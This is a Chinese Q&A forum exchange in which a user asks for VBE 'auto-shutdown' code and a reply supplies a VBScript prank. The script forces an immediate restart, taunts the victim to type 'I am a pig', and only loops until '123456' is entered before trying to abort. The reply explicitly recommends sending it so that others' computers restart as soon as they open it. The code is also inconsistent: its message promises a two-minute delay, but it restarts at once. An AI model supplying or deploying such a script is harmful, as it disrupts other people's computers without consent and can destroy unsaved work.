谁有vbe格式自动关机的代码

我只要那一堆代码 其他的我都会 以前弄过 但代码没了 就是建个文档，然后把exe改成vbe 但代码我忘了 只用说代码 其他的都不要

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""说我是猪，不说我是猪就二分针关你机，不信，试试···"" ",0 ,true dim a do while(a <> "123456") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "真明智" 只需要把 shutdown -r -t 0 -c 中 t 后面的数字改为0就行了，别人一打开就关机 也可以把t后面的数字改成别的，改成10，就是10秒关机